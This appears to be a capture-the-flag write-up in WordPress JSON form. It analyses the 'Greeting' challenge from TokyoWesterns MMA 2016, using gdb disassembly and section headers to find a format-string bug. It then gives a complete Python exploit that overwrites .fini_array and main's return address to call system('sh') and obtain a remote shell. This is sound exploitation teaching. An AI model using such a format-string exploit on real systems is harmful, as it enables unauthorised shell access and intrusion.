{"id":13302,"date":"2016-09-06T12:40:50","date_gmt":"2016-09-06T10:40:50","guid":{"rendered":"http:\/\/www.codilime.com\/?p=13302"},"modified":"2016-12-01T22:48:30","modified_gmt":"2016-12-01T21:48:30","slug":"tw-mma-2-2016-greeting","status":"publish","type":"post","link":"https:\/\/codisec.com\/tw-mma-2-2016-greeting\/","title":{"rendered":"Greeting"},"content":{"rendered":"
Host : pwn2.chal.ctf.westerns.tokyo<\/p>\n
Port : 16317<\/p>\n
Note: To prevent from DoS attacks, output length is limited in 131072 characters.<\/p>\n
As always our task is to obtain the flag on the remote server and as always we will try to obtain a remote shell.<\/p>\n
After running, the binary nicely asks us for our name:<\/p>\n
Hello, I'm nao!\r\nPlease tell me your name... Nobody\r\nNice to meet you, Nobody :)<\/pre>\nLet’s take a look at what it exactly is doing:<\/p>\n
(gdb) disassemble main\r\nDump of assembler code for function main:\r\n 0x080485ed <+0>:\tpush %ebp\r\n 0x080485ee <+1>:\tmov %esp,%ebp\r\n 0x080485f0 <+3>:\tand $0xfffffff0,%esp\r\n 0x080485f3 <+6>:\tsub $0xa0,%esp\r\n 0x080485f9 <+12>:\tmov %gs:0x14,%eax\r\n 0x080485ff <+18>:\tmov %eax,0x9c(%esp)\r\n 0x08048606 <+25>:\txor %eax,%eax\r\n 0x08048608 <+27>:\tmovl $0x80487b3,(%esp)\r\n 0x0804860f <+34>:\tcall 0x8048450 <printf@plt>\r\n 0x08048614 <+39>:\tmovl $0x40,0x4(%esp)\r\n 0x0804861c <+47>:\tlea 0x5c(%esp),%eax\r\n 0x08048620 <+51>:\tmov %eax,(%esp)\r\n 0x08048623 <+54>:\tcall 0x8048679 <getnline>\r\n 0x08048628 <+59>:\ttest %eax,%eax\r\n 0x0804862a <+61>:\tje 0x8048656 <main+105>\r\n 0x0804862c <+63>:\tlea 0x5c(%esp),%eax\r\n 0x08048630 <+67>:\tmov %eax,0x8(%esp)\r\n 0x08048634 <+71>:\tmovl $0x80487d0,0x4(%esp)\r\n 0x0804863c <+79>:\tlea 0x1c(%esp),%eax\r\n 0x08048640 <+83>:\tmov %eax,(%esp)\r\n 0x08048643 <+86>:\tcall 0x80484e0 <sprintf@plt>\r\n 0x08048648 <+91>:\tlea 0x1c(%esp),%eax\r\n 0x0804864c <+95>:\tmov %eax,(%esp)\r\n 0x0804864f <+98>:\tcall 0x8048450 <printf@plt>\r\n 0x08048654 <+103>:\tjmp 0x8048662 <main+117>\r\n 0x08048656 <+105>:\tmovl $0x80487e9,(%esp)\r\n 0x0804865d <+112>:\tcall 0x8048480 <puts@plt>\r\n 0x08048662 <+117>:\tmov 0x9c(%esp),%edx\r\n 0x08048669 <+124>:\txor %gs:0x14,%edx\r\n 0x08048670 <+131>:\tje 0x8048677 <main+138>\r\n 0x08048672 <+133>:\tcall 0x8048470 <__stack_chk_fail@plt>\r\n 0x08048677 <+138>:\tleave \r\n 0x08048678 <+139>:\tret \r\nEnd of assembler dump.<\/pre>\nFirst, it calls
getnline<\/code> with two arguments: a pointer to a local buffer and
0x40<\/code>. Let’s see:<\/p>\n
(gdb) disassemble getnline \r\nDump of assembler code for function getnline:\r\n 0x08048679 <+0>:\tpush %ebp\r\n 0x0804867a <+1>:\tmov %esp,%ebp\r\n 0x0804867c <+3>:\tsub $0x28,%esp\r\n 0x0804867f <+6>:\tmov 0x8049a80,%eax\r\n 0x08048684 <+11>:\tmov %eax,0x8(%esp)\r\n 0x08048688 <+15>:\tmov 0xc(%ebp),%eax\r\n 0x0804868b <+18>:\tmov %eax,0x4(%esp)\r\n 0x0804868f <+22>:\tmov 0x8(%ebp),%eax\r\n 0x08048692 <+25>:\tmov %eax,(%esp)\r\n 0x08048695 <+28>:\tcall 0x8048460 <fgets@plt>\r\n 0x0804869a <+33>:\tmovl $0xa,0x4(%esp)\r\n 0x080486a2 <+41>:\tmov 0x8(%ebp),%eax\r\n 0x080486a5 <+44>:\tmov %eax,(%esp)\r\n 0x080486a8 <+47>:\tcall 0x80484b0 <strchr@plt>\r\n 0x080486ad <+52>:\tmov %eax,-0xc(%ebp)\r\n 0x080486b0 <+55>:\tcmpl $0x0,-0xc(%ebp)\r\n 0x080486b4 <+59>:\tje 0x80486bc <getnline+67>\r\n 0x080486b6 <+61>:\tmov -0xc(%ebp),%eax\r\n 0x080486b9 <+64>:\tmovb $0x0,(%eax)\r\n 0x080486bc <+67>:\tmov 0x8(%ebp),%eax\r\n 0x080486bf <+70>:\tmov %eax,(%esp)\r\n 0x080486c2 <+73>:\tcall 0x80484c0 <strlen@plt>\r\n 0x080486c7 <+78>:\tleave \r\n 0x080486c8 <+79>:\tret \r\nEnd of assembler dump.\r\n<\/pre>\nSo it reads at most 0x40 bytes from
stdin<\/code>, stores it in the given buffer, replaces the first occurrence of a new line character with a null byte and returns length of the string.<\/p>\n
Getting back to main, it uses
sprintf<\/code> to format our buffer to another one with:<\/p>\n
(gdb) x\/s 0x80487d0\r\n0x80487d0:\t\"Nice to meet you, %s :)\\n\"<\/pre>\nThen it calls
printf<\/code> with the second buffer as the first argument. Yay, a format string vulnerability<\/a> is present!<\/p>\n
The pwn<\/h1>\n
We have a few options to go with now:<\/p>\n
\n
- Overwrite
strlen<\/code>‘s address in the
GOT<\/code> section with
system<\/code>‘s address and force the program to execute main once again. This way the program would run
system<\/code> with the provided argument (
\/bin\/sh<\/code>).<\/li>\n
- Leak stack address, write ‘sh’ to some place in the memory and execute main again. Next overwrite return address with system’s address and pass it address of ‘sh’ string as it’s argument.<\/li>\n<\/ol>\n
The first option is definitely easier, but second one is more universal and can target more similar challenges, so we will choose the latter.<\/p>\n
Now we have to find how to change the program flow and execute the
main<\/code> function. After dumping section headers:<\/p>\n
$ readelf -S greeting \r\nThere are 31 section headers, starting at offset 0xbc4:\r\n\r\nSection Headers:\r\n [Nr] Name Type Addr Off Size ES Flg Lk Inf Al\r\n [ 0] NULL 00000000 000000 000000 00 0 0 0\r\n [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1\r\n [ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4\r\n [ 3] .note.gnu.build-i NOTE 08048168 000168 000024 00 A 0 0 4\r\n [ 4] .gnu.hash GNU_HASH 0804818c 00018c 00002c 04 A 5 0 4\r\n [ 5] .dynsym DYNSYM 080481b8 0001b8 0000f0 10 A 6 1 4\r\n [ 6] .dynstr STRTAB 080482a8 0002a8 00009c 00 A 0 0 1\r\n [ 7] .gnu.version VERSYM 08048344 000344 00001e 02 A 5 0 2\r\n [ 8] .gnu.version_r VERNEED 08048364 000364 000030 00 A 6 1 4\r\n [ 9] .rel.dyn REL 08048394 000394 000018 08 A 5 0 4\r\n [10] .rel.plt REL 080483ac 0003ac 000058 08 A 5 12 4\r\n [11] .init PROGBITS 08048404 000404 000023 00 AX 0 0 4\r\n [12] .plt PROGBITS 08048430 000430 0000c0 04 AX 0 0 16\r\n [13] .text PROGBITS 080484f0 0004f0 000252 00 AX 0 0 16\r\n [14] tomori PROGBITS 08048742 000742 00003e 00 AX 0 0 1\r\n [15] .fini PROGBITS 08048780 000780 000014 00 AX 0 0 4\r\n [16] .rodata PROGBITS 08048794 000794 000069 00 A 0 0 4\r\n [17] .eh_frame_hdr PROGBITS 08048800 000800 00003c 00 A 0 0 4\r\n [18] .eh_frame PROGBITS 0804883c 00083c 0000f0 00 A 0 0 4\r\n [19] .init_array INIT_ARRAY 0804992c 00092c 000008 00 WA 0 0 4\r\n [20] .fini_array FINI_ARRAY 08049934 000934 000004 00 WA 0 0 4\r\n [21] .jcr PROGBITS 08049938 000938 000004 00 WA 0 0 4\r\n [22] .dynamic DYNAMIC 0804993c 00093c 0000e8 08 WA 6 0 4\r\n [23] .got PROGBITS 08049a24 000a24 000004 04 WA 0 0 4\r\n [24] .got.plt PROGBITS 08049a28 000a28 000038 04 WA 0 0 4\r\n [25] .data PROGBITS 08049a60 000a60 000008 00 WA 0 0 4\r\n [26] .bss NOBITS 08049a80 000a68 000028 00 WA 0 0 32\r\n [27] .comment PROGBITS 00000000 000a68 00004d 01 MS 0 0 1\r\n [28] .shstrtab STRTAB 00000000 000ab5 00010d 00 0 0 1\r\n [29] .symtab SYMTAB 00000000 00109c 000500 10 30 46 4\r\n [30] .strtab STRTAB 00000000 00159c 00031d 00 0 0 1\r\nKey to Flags:\r\n W (write), A (alloc), X (execute), M (merge), S (strings)\r\n I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\r\n O (extra OS processing required) o (OS specific), p (processor specific)<\/pre>\nwe can see there is
.fini_array<\/code> with one entry – we can override that (You can read about it here: http:\/\/docs.oracle.com\/cd\/E19683-01\/817-1983\/6mhm6r4es\/index.html<\/a>). Overwriting a
GOT<\/code> entry would be an option, but there is no call to any address from
GOT<\/code> after our vulnerable
printf<\/code>.<\/p>\n
Side note: you can check what’s inside
.init_array<\/code> (there iss a function which makes finding
system<\/code>‘s address trivial).<\/p>\n
We can also see that the
BSS<\/code> section ends at
0x08049a80 + 0x28 = 0x08049aa8<\/code> and we can write ‘sh’ string we need there (this memory page has write permission).<\/p>\n
Let’s dump some stack values:<\/p>\n
import socket\r\nimport time\r\n\r\nfor i in xrange(5):\r\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n s.connect((\"pwn2.chal.ctf.westerns.tokyo\", 16317))\r\n\r\n time.sleep(1)\r\n s.recv(66000)\r\n mes = \"%\" + str(i+1) + \"$08x\"\r\n s.send(mes+\"\\n\")\r\n\r\n time.sleep(1)\r\n r = s.recv(66000)\r\n print r[18:26]\r\n s.close()\r\n<\/pre>\nand we get:<\/p>\n
080487d0 -- return address from printf\r\nffc18aac -- this looks like address somewhere on the stack\r\n00000000\r\n00000000\r\n00000000<\/pre>\n(we could dump a lot more, but 2 values were enough in this case). After checking locally with disabled ASLR we can find, that this stack address points to 0x90 below our return address.<\/p>\n
Now we have everything we need to write the exploit:<\/p>\n
import socket\r\nimport binascii\r\nimport time\r\nimport struct\r\n\r\n\r\n# 0x080485ed - main\r\n# 0x08048490 - system\r\n# 0x08049aa8 - wr memory (right after bss section)\r\n# 0x08049934 - .fini_array\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((\"pwn2.chal.ctf.westerns.tokyo\", 16317))\r\n\r\ntime.sleep(1)\r\ns.recv(66000)\r\n\r\nmes = \"aa\" # padding\r\nmes += struct.pack(\"<I\", 0x08049934) # .fini_array\r\nmes += struct.pack(\"<I\", 0x08049934 + 0x2) # .fini_array + 2\r\nmes += struct.pack(\"<I\", 0x08049aa8) # place to write 'sh' to\r\nmes += \"%2$\" + str(0x0804 - 0x12 - 0xe) + \"p%13$hn\" # write 0x0804 and leak stack address\r\nmes += \"%\" + str(0x6873 - 0x0804) + \"d%14$n\" # 'sh'\r\nmes += \"%\" + str(0x85ed - 0x6873) + \"d%12$hn\" # 0x85ed\r\ns.send(mes + \"\\n\")\r\n\r\ntime.sleep(1)\r\nr = s.recv(66000)\r\n\r\naddr = int(r[2000:2500].strip()[2:], 16)\r\naddr -= 0x90\r\n# addr is now the return address of main\r\n\r\nmes = \"aa\"\r\nmes += struct.pack(\"<I\", addr) # return address\r\nmes += struct.pack(\"<I\", addr + 2) # return address\r\nmes += struct.pack(\"<I\", addr + 8) # first argument address - we put 'sh' address here\r\nmes += struct.pack(\"<I\", addr + 10) # \r\nmes += \"%\" + str(0x0804 - 0x12 - 0x12) + \"d%13$hn\" # 0x0804 - system address begining\r\nmes += \"%15$hn\" # 0x0804 - 'sh' address begining\r\nmes += \"%\" + str(0x8490 - 0x0804) + \"d%12$hn\" # 0x8490 - system address ending\r\nmes += \"%\" + str(0x9aa8 - 0x8490) + \"d%14$hn\" # 0x9aa8 - 'sh' address ending\r\ns.send(mes + \"\\n\")\r\n\r\ntime.sleep(1)\r\ns.recv(66000)\r\n\r\ns.send(\"ls\\n\")\r\ntime.sleep(1)\r\nprint s.recv(66000)\r\n\r\ns.close()<\/pre>\nNote that we added 2 bytes of padding to align addresses in our buffer to 4 bytes.<\/p>\n
Running above script gives us:<\/p>\n
$ python pwn.py\r\nflag\r\ngreeting\r\nlaunch.sh<\/pre>\nIt’s working! Now we change
ls<\/code> to
cat flag<\/code> and enjoy our victory:<\/p>\n
$ python pwn.py \r\nTWCTF{51mpl3_FSB_r3wr173_4nyw4r3}\r\n<\/pre>\n<\/p>\n","protected":false},"excerpt":{"rendered":"
Description Host : pwn2.chal.ctf.westerns.tokyo Port : 16317 Note: To prevent from DoS attacks, output length is limited in 131072 characters. As always our task is to obtain the flag on the remote server and as always we will try to…<\/span> <\/p>\n
Read more ›<\/div>\n<\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3,6],"tags":[7],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n\n\t\n